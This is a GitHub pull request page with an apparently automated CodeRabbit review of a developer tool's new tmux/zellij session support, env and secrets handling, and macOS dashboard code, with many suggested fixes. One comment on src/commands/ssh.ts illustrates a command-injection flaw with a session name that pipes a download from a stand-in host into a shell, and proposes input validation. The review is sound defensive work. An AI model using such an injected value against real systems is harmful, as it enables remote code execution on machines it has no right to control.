Conversation
|
WalkthroughAdds multi-backend session support (mux: tmux/zellij), an Env & secrets contract system with CLI + daemon routes, ProjectMeta resolvers (git/branches/env/sessions/compose), extensive CLI/daemon refactors, runtime/container shape extensions, macOS Dashboard integrations, templates/schemas, and tests. Changes
Sequence Diagram(s)sequenceDiagram
participant User
participant CLI
participant MuxResolver
participant Backend as MuxBackend
participant Daemon
User->>CLI: hack session start myproject
CLI->>MuxResolver: resolveMux(project)
MuxResolver->>Backend: probe/list available backends (tmux/zellij)
MuxResolver-->>CLI: available backends
CLI->>Daemon: optional ensure project infra (hack up)
CLI->>MuxResolver: listMuxSessions()
MuxResolver->>Backend: listSessions()
MuxResolver-->>CLI: aggregated sessions
CLI->>MuxResolver: resolveDefaultBackendName()
CLI->>Backend: createSession(name, cwd) or attach existing
Backend-->>CLI: create/attach result
CLI-->>User: session attached / error
sequenceDiagram
participant Dashboard
participant DashboardModel
participant Daemon
participant ProjectMeta
participant HackCLI
Dashboard->>DashboardModel: refresh(include_meta=true)
DashboardModel->>Daemon: GET /v1/projects?include_meta=true
Daemon->>ProjectMeta: resolveProjectMeta(project)
ProjectMeta->>ProjectMeta: resolveGitMeta / resolveEnvMeta / resolveSessionsMeta / resolveComposeBuildMeta
ProjectMeta-->>Daemon: ProjectMeta
Daemon-->>DashboardModel: projects with meta
DashboardModel-->>Dashboard: render inspector
Dashboard->>HackCLI: stopSession(sessionName)
HackCLI->>Daemon: POST /v1/sessions/stop (backend-aware)
Daemon-->>HackCLI: response
HackCLI-->>Dashboard: operation result
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
🧪 Generate unit tests (beta)
No actionable comments were generated in the recent review. 🎉 Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 8
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (8)
src/commands/usage.ts (2)
1277-1279:⚠️ Potential issue | 🟡 MinorLocal
isRecordmisses theArray.isArrayguard present insrc/lib/guards.ts.The shared
isRecordinsrc/lib/guards.tsincludes!Array.isArray(value), but this local copy does not. A JSON array ([...]) would pass through and be treated as a valid record intryParseDockerStatsJson. Consider importing the shared guard or adding the array check.Proposed fix
function isRecord(value: unknown): value is Record<string, unknown> { - return typeof value === "object" && value !== null; + return typeof value === "object" && value !== null && !Array.isArray(value); }
541-543:⚠️ Potential issue | 🟡 Minor
" hack remote"is mapped to"hack tui"— likely a copy-paste error.This probably should resolve to
"hack remote"or a distinct label rather than reusing"hack tui".Proposed fix
if (normalized.includes(" hack remote")) { - return "hack tui"; + return "hack remote"; }src/control-plane/extensions/supervisor/shell-service.ts (1)
357-373:⚠️ Potential issue | 🟡 Minor
TERMfrominput.envis silently overwritten.Line 371 unconditionally sets
env.TERMafter theinput.envoverlay (lines 366–370), so anyTERMvalue a caller passes viainput.envis discarded. If the intent is to guaranteeTERMis always set, prefer a fallback chain that respects the caller's explicit override:Proposed fix
- env.TERM = process.env.TERM ?? DEFAULT_TERM; + env.TERM = env.TERM || process.env.TERM || DEFAULT_TERM;This way, if
input.env.TERMwas already set in the overlay, it's preserved.src/commands/ssh.ts (1)
146-157:⚠️ Potential issue | 🔴 CriticalCommand injection via unsanitized
sessionArgpositional.The positional
sessionargument is interpolated directly into a shell command string (line 414) without validation. The interactive path validates againstSESSION_NAME_PATTERN, but the direct positional path at line 149–157 bypasses this check entirely. A malicious or accidental session name likefoo;curl evil.com|shwould be executed on the remote host.Validate
sessionArgagainstSESSION_NAME_PATTERNbefore passing it toconnectToSession.🛡️ Proposed fix
const sessionArg = args.positionals.session; if (sessionArg) { + if (!SESSION_NAME_PATTERN.test(sessionArg)) { + p.log.error("Invalid session name (only letters, numbers, dashes, underscores, or dots)"); + return 1; + } // Direct connect to specified session return await connectToSession({ hostname,Also applies to: 414-414
src/commands/setup.ts (1)
1948-1971:⚠️ Potential issue | 🟡 Minor
removeLegacyDnsmasqLinesonly removes the first occurrence of each legacy line.
String.prototype.replacewith a string pattern replaces only the first match. If a legacy line appears more than once in the config, subsequent duplicates will remain. Consider usingreplaceAllor a regex with thegflag.Proposed fix
- updated = updated.replace(legacyLine, ""); + updated = updated.replaceAll(legacyLine, "");src/lib/runtime-projects.ts (1)
362-400:⚠️ Potential issue | 🟡 MinorTab delimiter in docker inspect format is fragile if values contain tabs.
The
--formattemplate on Line 366 uses\tas the field separator, and Line 383 splits on\t. If a label value, image name, or mount path happens to contain a literal tab character, the destructuring will misalign fields. This is unlikely in practice but could cause silent data corruption.A more robust approach would be to output JSON from
docker inspect(using--format '{{json .}}') and parse it, though that's a larger change.docs/gateway-api.md (1)
542-551:⚠️ Potential issue | 🟡 MinorRuntimeContainer schema is missing the new fields added in this PR.
The
RuntimeContainertype was extended withimage,ip,mounts, andlabelsfields (as reflected in the test updates), but the schema table here still only documentsid,state,status,name,ports, andworking_dir.📝 Proposed fix
| `name` | string | Container name | | `ports` | string | Port mapping string | +| `image` | string or null | Container image | +| `ip` | string or null | Container IP address | +| `mounts` | RuntimeMount[] | Volume/bind mounts | +| `labels` | object | Container labels | | `working_dir` | string or null | Compose working directory |src/daemon/routes/sessions.ts (1)
391-399:⚠️ Potential issue | 🟡 MinorStale comment: "tmux restrictions" now applies to both backends.
The comment on Line 392 still says "tmux restrictions" but the name validation pattern applies to both tmux and zellij sessions.
📝 Suggested fix
- // Validate session name (tmux restrictions) + // Validate session name (alphanumeric, dash, underscore)
🤖 Fix all issues with AI agents
In
`@apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift`:
- Around line 784-787: runtimeServicesByName currently uses
Dictionary(uniqueKeysWithValues:) which will crash on duplicate
RuntimeService.service values; modify the computed property to handle duplicates
— either use Dictionary(runtime.services.map { ($0.service, $0) },
uniquingKeysWith: { first, _ in first }) (or choose last by swapping) to keep a
single RuntimeService per key, or use Dictionary(grouping: runtime.services, by:
{ $0.service }) if you need arrays of RuntimeService; apply the same change to
the duplicate pattern in ProjectDetailView (the code around the current usage at
line ~449).
In
`@apps/macos/Packages/Services/HackCLI/Sources/HackCLIService/HackCLILocator.swift`:
- Around line 42-55: The nested function push references extrasMerged before
it's declared, which causes a compile error; move the declaration of
extrasMerged (currently var extrasMerged: [String] = []) to appear before the
nested function push so push can capture and mutate it; keep the seen set and
push signature the same and then run the three loops (for p in base, for p in
extras, for p in defaults) after those declarations.
In `@src/commands/doctor.ts`:
- Around line 1450-1469: The current block calls run("docker network rm", ...)
and ignores failures which leads to subsequent create() and
inspectDockerNetwork(DEFAULT_INGRESS_NETWORK) returning wrong/stale state;
update the logic in the section that checks ingress.exists to capture the exit
result from run("docker network rm", DEFAULT_INGRESS_NETWORK) and if it fails,
call inspectDockerNetwork(DEFAULT_INGRESS_NETWORK) to list attached containers
and either programmatically disconnect them via run("docker network disconnect",
container, DEFAULT_INGRESS_NETWORK) or surface a clear error message instructing
the user to stop/disconnect the listed containers, then only proceed to
run("docker network create", ...) and finally return
inspectDockerNetwork(DEFAULT_INGRESS_NETWORK).
In `@src/commands/session.ts`:
- Around line 1099-1104: findSession currently matches only by name and returns
the first result from listAllSessions, causing ambiguity when the same name
exists in both backends; change findSession to accept an optional backend
parameter (e.g., backend?: 'tmux' | 'zellij') and filter results by both name
and backend (use session.backend or equivalent on MuxSession), returning the
matched session or null; update callers like handleStop and handleExec to pass
the desired backend when known (or prompt/decide upstream), and keep the
original behavior when backend is omitted (but consider warning or returning
null if multiple matches exist to avoid silently picking the wrong backend).
In `@src/control-plane/extensions/supervisor/shell-service.ts`:
- Around line 254-257: The loop over opts.listeners in the createShellTerminal
data callback and the loop in handleShellExit call listener.onData and
listener.onExit without protections, so a thrown error stops notifying remaining
listeners; wrap each listener invocation (listener.onData and listener.onExit)
in its own try-catch, log or warn the error (preserving context such as which
listener and which event), and continue the loop so one bad listener cannot
prevent others from receiving the event.
In `@src/daemon/routes/env.ts`:
- Around line 279-315: The function resolveProjectFromParams currently derives
its value type from resolveRegisteredProjectByName which mismatches
resolveRegisteredProjectById; replace the derived type with an explicit return
shape (e.g. define an inline or named type like { project: ProjectContext;
registration: RegisteredProject }) in the Promise<ParseResult<...>> signature,
update the final return typing to use that explicit type, and ensure the
projectId branch returns the same shape (if resolveRegisteredProjectById already
returns that shape, return it directly; if it returns only ProjectContext, map
it to include the corresponding registration) so both branches conform to the
new explicit type; reference resolveProjectFromParams,
resolveRegisteredProjectById, resolveRegisteredProjectByName, ParseResult,
RegisteredProject, and ProjectContext when making the change.
In `@src/daemon/runtime-cache.ts`:
- Around line 216-234: The current Promise.all over views.map calls
resolveProjectMeta so a single thrown error will reject the whole await; change
the mapping to guard each resolveProjectMeta call so failures return null
instead of bubbling: inside the views.map (the block that checks view.kind ===
"registered" and looks up registryByName) wrap the call to resolveProjectMeta in
a try/catch (or use Promise.allSettled) and on any error log/ignore it and
return null; keep the overall metas assignment and includeMeta check unchanged
so getProjectsPayload continues to build the projects list even if one project's
resolveProjectMeta fails.
In `@tests/daemon-env.test.ts`:
- Around line 91-98: The afterEach cleanup currently assigns undefined to
process.env.HACK_GLOBAL_CONFIG_PATH which sets the string "undefined" instead of
removing the variable; update the afterEach block (referencing afterEach,
originalConfigPath, process.env.HACK_GLOBAL_CONFIG_PATH, tempDir, rm) so that if
originalConfigPath is defined you set process.env.HACK_GLOBAL_CONFIG_PATH =
originalConfigPath, otherwise you remove the env var using delete
process.env.HACK_GLOBAL_CONFIG_PATH to actually clear it before calling await
rm(tempDir, { recursive: true, force: true }).
🟡 Minor comments (16)
src/control-plane/extensions/tickets/store.ts-481-489 (1)
481-489:⚠️ Potential issue | 🟡 MinorTruthiness check on
titlesilently drops empty-string updates.Line 483 uses
title ? { title } : {}, which means atitleof""(falsy) would not overwrite the existing title. WhileupdateTicketvalidates against empty titles today, the materializer should be self-consistent — iftypeof payload.title === "string"passed on Line 465, the intent was to update the title.Consider using
title !== undefined(matching thebodycheck on Line 484) for consistency and resilience against upstream changes:Suggested fix
opts.tickets.set(opts.event.ticketId, { ...current, - ...(title ? { title } : {}), + ...(title !== undefined ? { title } : {}), ...(body !== undefined ? { body } : {}), ...(dependsOn !== null ? { dependsOn } : {}), ...(blocks !== null ? { blocks } : {}), updatedAt: opts.event.tsIso, });src/control-plane/extensions/gateway/commands.ts-181-211 (1)
181-211:⚠️ Potential issue | 🟡 MinorInconsistent null-vs-truthy check for inline flag results —
--scope=errors but--label=is silently swallowed.
scopeInlineis tested with a truthy check (line 182), so an empty string from--scope=falls through and eventually triggers"Unknown option: --scope=".labelInlineis tested with!== null(line 203), so--label=enters the branch andnormalizeLabel("")quietly yieldsundefined, making the flag a silent no-op.Both should use the same style. Using
!== nullconsistently and then validating the value explicitly would give the user a clear error for both empty-value cases:Proposed fix
const scopeInline = parseInlineFlag({ token: opts.token, name: "--scope" }); - if (scopeInline) { + if (scopeInline !== null) { const scope = parseScope(scopeInline); if (!scope) { return { ok: false, error: "Invalid --scope (use read|write)." }; }apps/macos/Packages/Services/HackCLI/Sources/HackCLIService/HackCLILocator.swift-89-96 (1)
89-96:⚠️ Potential issue | 🟡 MinorRead pipe data before
waitUntilExit()to avoid a potential deadlock.
waitUntilExit()(line 91) blocks until the process exits, but if the process writes enough to fill the pipe buffer, it will block waiting for the reader — and this code only reads after the process exits (line 96). This is a classic FoundationProcess+Pipedeadlock pattern.For
path_helperthe output is tiny, so this won't deadlock in practice, but swapping the order is the correct pattern and prevents surprises if this code is reused.Proposed fix: read before wait
do { try process.run() - process.waitUntilExit() } catch { return [] } let data = pipe.fileHandleForReading.readDataToEndOfFile() + process.waitUntilExit() guard let text = String(data: data, encoding: .utf8) else { return [] }src/commands/doctor.ts-1373-1396 (1)
1373-1396:⚠️ Potential issue | 🟡 Minor
maybeRepairHackdoffers to start the daemon even when it's already in "starting" state.When
report.status === "starting"(process running, API not yet responding), the function falls through to prompt "Start hackd now?". Runningdaemon startwhile the process is already alive could create a duplicate or conflict, depending on the start implementation. Consider adding an early return or a different message for the "starting" state.Proposed fix
if (report.status === "running") { return; } + if (report.status === "starting") { + note("hackd is starting (API not yet responding). Give it a moment.", "doctor"); + return; + }src/commands/doctor.ts-1354-1366 (1)
1354-1366:⚠️ Potential issue | 🟡 MinorCatch user cancellations in
runDoctorFixfor cleaner exit behavior.When users press Escape during the confirmation prompt in
runDoctorFix, a thrownError("Canceled")propagates through the command handler. While the CLI framework catches it, the error stack is logged and exit code 1 is returned, which is suboptimal UX for a routine user action.Handle cancellation gracefully at the handler level:
Suggested fix in handleDoctor
if (args.options.fix) { - await runDoctorFix(); - note("Re-run: hack doctor", "doctor"); + try { + await runDoctorFix(); + note("Re-run: hack doctor", "doctor"); + } catch (err: unknown) { + if (err instanceof Error && err.message === "Canceled") { + return 0; + } + throw err; + } }This pattern also applies to
writeWithPromptIfDifferent(line 1788) andmigrateDnsmasqToContainerIpIfNeeded(line 1585).AGENTS.md-252-260 (1)
252-260:⚠️ Potential issue | 🟡 MinorMux-generic header but tmux-specific descriptions.
The section is titled "Sessions (mux-based)" and the system supports both tmux and zellij, but lines 253–254 still reference "tmux" specifically ("switches inside tmux", "switches if in tmux"). These should use mux-generic language to stay consistent with the broader mux abstraction.
Proposed fix
-Sessions (mux-based): -- Interactive picker: `hack session` (clack picker; switches inside tmux, attaches outside) -- Start/attach: `hack session start <project>` (attaches if exists, switches if in tmux) +Sessions (mux-based): +- Interactive picker: `hack session` (clack picker; switches inside a mux session, attaches outside) +- Start/attach: `hack session start <project>` (attaches if exists, switches if inside mux)src/mux/session-names.ts-15-22 (1)
15-22:⚠️ Potential issue | 🟡 Minor
parseSessionBasewill truncate base names that contain--.
indexOf(SESSION_DELIMITER)finds the first occurrence, so a base name like"my--project"would parse to"my"instead of"my--project". If base names are guaranteed to never contain--this is fine, but it's worth documenting that invariant (or usinglastIndexOfif the suffix is always numeric).src/commands/global.ts-1989-2014 (1)
1989-2014:⚠️ Potential issue | 🟡 MinorResolver path used in
printfshell command is not quoted.Line 2011 interpolates
resolverPathinto a shell command:printf '%s\\n' 'nameserver 127.0.0.1' > ${resolverPath}. WhileresolverPathis derived from constant domain values (so it's safe in this context), the lack of shell quoting around the path is a latent fragility — if the domain constants ever contained spaces or special characters, this would break.Proposed fix — quote the path
- `mkdir -p /etc/resolver && printf '%s\\n' 'nameserver 127.0.0.1' > ${resolverPath}`, + `mkdir -p /etc/resolver && printf '%s\\n' 'nameserver 127.0.0.1' > '${resolverPath}'`,src/commands/setup.ts-449-451 (1)
449-451:⚠️ Potential issue | 🟡 MinorTilde expansion assumes
~/prefix but matches broader~prefix.
startsWith("~")matches both~/pathand~username/path, butslice(2)only handles the~/case correctly. This is unlikely to cause issues in practice (the placeholder suggests~/...), but a more precise check would bestartsWith("~/").Proposed fix
- return customPath.startsWith("~") - ? resolve(opts.home, customPath.slice(2)) + return customPath.startsWith("~/") || customPath === "~" + ? resolve(opts.home, customPath.slice(2)) : customPath;docs/cli.md-529-531 (1)
529-531:⚠️ Potential issue | 🟡 MinorSubcommand descriptions reference only tmux, but the system supports tmux and zellij.
The gateway docs and PR objectives describe mux-based sessions supporting both tmux and zellij backends, yet
panes,capture, andtaildescriptions are hardcoded to "tmux session". If these subcommands are truly tmux-only, that's worth clarifying explicitly (e.g., "(tmux only)"). If they should work with both backends, the descriptions should be generalized.src/commands/env.ts-267-281 (1)
267-281:⚠️ Potential issue | 🟡 MinorNote:
KEY=(empty value) triggers an interactive prompt rather than setting empty string.
parseKeyValueSpec("FOO=")yields["FOO", ""], andresolveEnvValuewill treat the empty string as "no value provided" and prompt interactively. If setting an env var to an empty string is a valid use case, this would be a UX gap. Otherwise, this is fine.src/daemon/routes/env.ts-329-331 (1)
329-331:⚠️ Potential issue | 🟡 MinorSetting an env var to an empty string is rejected — is this intentional?
parseEnvSetBodyrejectsvaluewhenvalue.length === 0. In some workflows, explicitly setting a variable to an empty string is meaningful (e.g., to override a process-level env var with an empty value). If this is intentional, a comment would help clarify the design decision.apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectInspectorColumn.swift-113-114 (1)
113-114:⚠️ Potential issue | 🟡 MinorMounts and labels are taken only from the first container.
containers.first?.mountsandcontainers.first?.labelswill miss data from other containers of the same service if they differ. This is typically fine for replicas of the same service definition, but may be misleading if containers have heterogeneous configurations.src/lib/hack-env.ts-294-301 (1)
294-301:⚠️ Potential issue | 🟡 Minor
escapeEnvValuedoes not quote values containing$, which may cause variable expansion in downstream consumers.Values like
pa$$wordor${FOO}are written unquoted to the.envfile. While the internalparseDotEnvdoesn't expand variables, Docker Compose and other tools that consume.envfiles typically do. Consider also quoting values that contain$.🛡️ Proposed fix
function escapeEnvValue(value: string): string { const needsQuotes = - value.includes(" ") || value.includes("\n") || value.includes('"'); + value.includes(" ") || + value.includes("\n") || + value.includes('"') || + value.includes("$"); if (!needsQuotes) { return value; } return `"${value.replaceAll('"', '\\"')}"`; }src/commands/session.ts-1275-1306 (1)
1275-1306:⚠️ Potential issue | 🟡 MinorMisleading error message when backends are available but no default can be resolved.
Line 1297: the error says "No session backend available" even though backends are available (the
available.length > 0branch). The issue is that no default could be determined, not that none are available. Consider rewording to clarify.📝 Suggested rewording
if (available.length > 0) { return { ok: false, - error: `No session backend available for sessions.mux=${opts.mode}. Available: ${available}`, + error: `Could not determine session backend for sessions.mux=${opts.mode}. Available backends: ${available}`, }; }apps/macos/Packages/Shared/Models/Sources/HackDesktopModels/Models.swift-89-95 (1)
89-95:⚠️ Potential issue | 🟡 MinorProjectMeta fields are all non-optional — decoding fails if any section is missing.
All five fields (
git,hackBranches,env,sessions,composeBuild) are required. The server-sideresolveProjectMetaresolves all five in parallel, so a partial response isn't possible. If any metadata type fails to resolve, the entireProjectMetadecode fails. WhileProjectSummary.metais optional (preventing cascade), consider making individualProjectMetafields optional if the server may omit some sections in the future, or ensure the server contract guarantees all five are always present.
🧹 Nitpick comments (40)
src/commands/usage.ts (2)
1277-1283: DuplicatedisRecordandgetStringutilities — consider reusing fromsrc/lib/guards.ts.Both
isRecordandgetStringalready exist insrc/lib/guards.tswith slightly different contracts (e.g.,getStringreturnsundefinedvsnullhere, and trims here but not there). Having two versions with subtly different semantics is a maintenance hazard. Consider importing and adapting to the shared versions.
796-857:runUsageOnceduplicates the orchestration logic already inresolveUsageSnapshot.Both
runUsageOnceandresolveUsageSnapshotperform the same sequence:readRuntimeProjects→ filter →buildContainerIndex→readHostUsage→readDockerStats.runUsageOncecould delegate toresolveUsageSnapshotand then branch on the result, reducing ~30 lines of duplication.src/control-plane/extensions/cloudflare/commands.ts (3)
741-745: Confirm--out→"config"mapping is intentional.
--outmaps to theconfigkey inTunnelStartArgs, whereas inTUNNEL_PRINT_VALUE_FLAGSit maps to"out". If this is a deliberate alias (output path is the config path fortunnel-start), a brief inline comment would prevent future confusion.const TUNNEL_START_VALUE_FLAGS: Record<string, keyof TunnelStartArgs> = { "--config": "config", - "--out": "config", + "--out": "config", // alias: the written output path is the config path for start "--tunnel": "tunnel", };
771-830:parseAccessSetupArgsstill uses the old inline parsing pattern.The local
takeValuehelper and manualstartsWith("--ssh-hostname=")/token.slice(...)blocks duplicate whatsplitFlagTokenandtakeValueFromNextTokenalready provide. Consider refactoring to use the shared utilities for consistency, similar to howparseTunnelPrintArgsandparseTunnelStartArgswere updated.
422-429: Legitimate values starting with-are rejected bytakeValueFromNextToken.A value like
--origin=-some-pathworks (handled bysplitFlagTokeninline), but--origin -some-path(space-separated) would be treated as a missing value. This is standard CLI convention and acceptable, but worth noting in case Cloudflare origins or paths could legitimately start with a dash.src/control-plane/extensions/tickets/store.ts (2)
401-432: Created event hardcodesstatus: "open", ignoringpayload.status.This is clearly intentional (and the
createTicketcommand always emitsstatus: "open"in the payload anyway), but worth a brief inline comment so future readers know the payload value is deliberately unused.
455-478:bodycannot be cleared once set.If a future caller wants to remove the body (set it to
undefinedornull), there's no event payload representation for that —typeof payload.body === "string"on Line 469 will yieldundefined, and thebody !== undefinedguard on Line 484 will skip the spread. This may be intentional, but if clearing body is ever needed, a sentinel value (e.g.nullor"") would need to be handled here.src/control-plane/extensions/gateway/commands.ts (2)
114-120:TokenCreateParseResultis redundant withParseResult<TokenCreateArgs>.Now that the generic
ParseResult<T>exists, the dedicatedTokenCreateParseResultalias duplicates the same shape. Consider replacing it:-type TokenCreateParseResult = - | { readonly ok: true; readonly value: TokenCreateArgs } - | { readonly ok: false; readonly error: string }; - -type ParseResult<T> = - | { readonly ok: true; readonly value: T } - | { readonly ok: false; readonly error: string }; +type ParseResult<T> = + | { readonly ok: true; readonly value: T } + | { readonly ok: false; readonly error: string }; + +type TokenCreateParseResult = ParseResult<TokenCreateArgs>;
255-263:opts.tokenis unused intakeFlagValue.The
tokenfield is accepted but never referenced in the function body. Removing it simplifies the signature and the call sites.Proposed fix
-function takeFlagValue(opts: { - readonly token: string; - readonly value: string | undefined; -}): string | null { +function takeFlagValue(opts: { + readonly value: string | undefined; +}): string | null { if (!opts.value || opts.value.startsWith("-")) { return null; } return opts.value; }Update call sites accordingly:
- const scopeValue = takeFlagValue({ token: opts.token, value: opts.next }); + const scopeValue = takeFlagValue({ value: opts.next });- const labelValue = takeFlagValue({ token: opts.token, value: opts.next }); + const labelValue = takeFlagValue({ value: opts.next });src/control-plane/extensions/supervisor/shell-service.ts (2)
325-344: Signal information is alwaysnullon exit.
handleShellExithardcodessignal: null(line 395) and all call sites pass no signal info. When a shell is explicitly killed viaattachShell.signal(sig)orcloseShell, the actual signal used is lost. If downstream consumers (or theShellMetatype'ssignalfield) are expected to carry meaningful signal data, consider capturing it—e.g., viaproc.signalCodeif Bun exposes it, or by stashing the signal in the session whenkillis called and reading it back inhandleShellExit.Also applies to: 382-397
224-238: Helper signatures are well-isolated but slightly over-wrapped.
resolveShellCommandandresolveShellCwdeach take{ input }when they could accept the relevant fields directly (e.g.,shell?: string,cwd?: string,projectRoot: string). This would make them easier to unit-test without constructing a fullShellCreateInput. Purely a style nit—current approach works fine.src/commands/doctor.ts (1)
942-954: IPv6 formatting only simplifies the loopback address.Non-loopback IPv6 addresses will be returned in uncompressed form (e.g.,
0:0:0:0:0:ffff:c0a8:1instead of::ffff:192.168.0.1). This is fine for the current comparison targets (DEFAULT_CADDY_IP,"127.0.0.1","::1"), but worth keeping in mind if address comparisons are later extended to other IPv6 addresses.docs/architecture.md (1)
107-128: New architecture sections look good overall.The env + secrets and lifecycle sections provide a clear summary with appropriate cross-references. One gap: the "Files and directories" section (lines 253–275) doesn't list the new files introduced here (
.hack/hack.env.json,.hack/.env,.hack/.internal/compose.env.override.yml). Consider updating it for completeness.src/templates.ts (1)
395-477: Extract the repeated hook-item schema to reduce duplication.The
anyOf: [string, { command, name?, cwd? }]items schema is copy-pasted four times (forup.before,up.after,down.before,down.after). Extract it into a local variable to keep the schema DRY and make future changes easier.♻️ Proposed refactor
+ const hookItemSchema = { + anyOf: [ + { type: "string" }, + { + type: "object", + additionalProperties: true, + required: ["command"], + properties: { + name: { type: "string" }, + command: { type: "string" }, + cwd: { type: "string" }, + }, + }, + ], + } as const; + + const hookArraySchema = { + type: "array", + items: hookItemSchema, + } as const; + // Then use hookArraySchema in place of the 4 repeated blocks: // before: hookArraySchema, // after: hookArraySchema,src/lib/config.ts (1)
92-98: Consider makingKeyPathParserStatefieldsreadonlywhere possible.The mutable state type is fine for an internal parser, but
partsis only ever pushed to — it could be typed asreadonly string[]in the return (which it already is viaparseKeyPath's return type). Minor nit: no action needed if you prefer the current approach.src/backends/runtime-backend.ts (1)
121-135: ExtractmergeSpawnEnvlogic into a shared utility function to eliminate duplication.
buildSpawnEnvinsrc/lib/shell.tsandmergeSpawnEnvinsrc/backends/runtime-backend.tshave identical implementations. ExportbuildSpawnEnvfromshell.tsand reuse it inruntime-backend.tsto consolidate env merging logic and prevent divergence.src/commands/mcp.ts (2)
206-231: Consider extracting duplicated result-logging logic.
logMcpInstallResults(lines 206–231) and the loop inupsertAgentDocsForMcpInstall(lines 247–265) follow the same iterate-results / check status / log / aggregate-exit-code pattern. A shared helper (e.g.,logResultsAndComputeExitCode) could reduce duplication.Also applies to: 233-268
403-431:dedupeDocTargetsduplicatesdedupeTargets— could be generalized.Both
dedupeTargets(line 388) anddedupeDocTargets(line 418) implement the same Set-based dedup loop over different union types. A single genericdedupe<T>helper would eliminate this duplication.src/commands/ssh.ts (1)
190-200: Dead fallback:opts.hostOverrideis always nullish in this branch.At line 198,
opts.hostOverride ?? result.hostnamecan never useopts.hostOverridebecause theopts.direct || opts.hostOverrideguard at line 180 already routes any truthyhostOverrideto the direct path. The??fallback is dead code and could be simplified to justresult.hostname.Proposed simplification
return { ok: true, method: "tailscale", - hostname: opts.hostOverride ?? result.hostname, + hostname: result.hostname, };src/commands/setup.ts (1)
314-341: Removal regex is tightly coupled to current command format.The regex at line 326 (
/\n?# hack session picker\nbind-key [sS] display-popup[^\n]*\n?/g) will fail to match if the command format inHACK_SESSION_BINDING_COMMANDchanges (e.g., if the command no longer starts withdisplay-popup). Consider deriving the removal pattern from the constants to keep them in sync.src/mux/zellij-backend.ts (1)
79-107:killSession,execInSession, andsendInputdon't guard onavailable.Unlike
listSessionsandcreateSession, these methods will attempt to execzellijeven when it's unavailable, producing a confusing error from the shell. Consider adding an earlyavailableguard for consistency, or documenting that callers must checkbackend.availablefirst.src/lib/runtime-projects.ts (1)
441-455:filterLabelsForUiallowlist is reasonable but may silently drop useful labels.The filter keeps only
caddy*andcom.docker.compose.*prefixes. If other labels become relevant for the UI (e.g., custom project labels), they'll be silently dropped. This is fine for now, but consider documenting the filter policy or making it configurable if the UI grows.src/commands/gateway.ts (1)
341-359:maybeEnableAllowWritesreturnsboolean | Error— consider a discriminated union instead.Returning
boolean | Errorand checkinginstanceof Errorat the call site (Line 309) works, but it's an atypical pattern in this codebase where other functions use{ ok: true; ... } | { ok: false; error: string }discriminated unions. This inconsistency could confuse future contributors.src/lib/project.ts (1)
136-145: Consider validatingmuxagainst known values, similar toparseLogsBackend.The
muxfield accepts any string, but the doc comment (Lines 138-143) specifies only"auto" | "tmux" | "zellij" | "none".parseLogsBackend(Line 470) validates against known values and returnsundefinedfor unknowns. Leavingmuxunvalidated means typos like"tmx"silently pass through.This may be intentional if validation happens downstream (e.g., in a mux resolver), but worth confirming.
,
#!/bin/bash # Check if mux validation happens downstream rg -n "parseSessionsMuxMode\|parseMuxMode\|mux.*auto.*tmux.*zellij" --type=ts -C3src/mux/mux-config.ts (1)
7-25: Consider simplifying the validation with aSetlookup.The chain of if-statements is perfectly correct, but a
Set-based check would be more concise and easier to extend.♻️ Optional simplification
+const VALID_MUX_MODES = new Set<SessionsMuxMode>(["auto", "tmux", "zellij", "none"]); + export function parseSessionsMuxMode(value: unknown): SessionsMuxMode | null { if (typeof value !== "string") { return null; } const v = value.trim().toLowerCase(); - if (v === "auto") { - return "auto"; - } - if (v === "tmux") { - return "tmux"; - } - if (v === "zellij") { - return "zellij"; - } - if (v === "none") { - return "none"; - } - return null; + return VALID_MUX_MODES.has(v as SessionsMuxMode) ? (v as SessionsMuxMode) : null; }apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/DashboardModel.swift (1)
309-320: Stale meta remains cached when fetch returnsnil.If
fetchProjectMetareturnsnil(e.g., the project is no longer registered or the CLI yields no results), the previous meta entry inprojectMetaByIdis not removed. If this is intentional (prefer stale data over no data), this is fine. Otherwise, consider clearing the entry on a nil result.♻️ Optional: clear stale meta on nil result
do { if let meta = try await client.fetchProjectMeta(projectName: project.name) { projectMetaById[project.id] = meta + } else { + projectMetaById.removeValue(forKey: project.id) } return nilsrc/lib/project-views.ts (1)
223-226: Compose file is read and parsed twice.
readComposeServicesandreadComposeServiceHostseach independently callreadTextFileandYAML.parseon the samecomposeFile. Consider reading and parsing the file once inresolveComposeMetaand passing the parsed object to both extraction functions.♻️ Suggested approach
async function resolveComposeMeta(opts: { readonly projectDir: string; }): Promise<ComposeMeta> { const projectDirOk = await pathExists(opts.projectDir); const composeFile = resolve(opts.projectDir, PROJECT_COMPOSE_FILENAME); const composeExists = projectDirOk && (await pathExists(composeFile)); if (!composeExists) { return { projectDirOk, composeExists, definedServices: null, serviceHosts: null }; } - - const [definedServices, serviceHosts] = await Promise.all([ - readComposeServices({ composeFile }), - readComposeServiceHosts({ composeFile }), - ]); + + const text = await readTextFile(composeFile); + if (!text) { + return { projectDirOk, composeExists, definedServices: null, serviceHosts: null }; + } + let parsed: unknown; + try { parsed = YAML.parse(text); } catch { parsed = null; } + const definedServices = extractComposeServiceNames(parsed); + const serviceHosts = extractComposeServiceHosts(parsed); return { projectDirOk, composeExists, definedServices, serviceHosts }; }Then refactor
readComposeServices/readComposeServiceHostsinto pure functions that accept the parsed object.src/daemon/routes/sessions.ts (1)
452-479:readJsonBodyandjsonResponseare duplicated withsrc/daemon/server.ts.Both this file and
server.tsdefine identicalreadJsonBodyandjsonResponsefunctions. Consider extracting them into a shared utility (e.g.,src/daemon/routes/helpers.ts).apps/macos/Packages/Features/DashboardFeature/Sources/DashboardFeature/ProjectDetailView.swift (2)
412-418:devUrlis duplicated fromMenuBarView.swift.This helper is identical to the one in
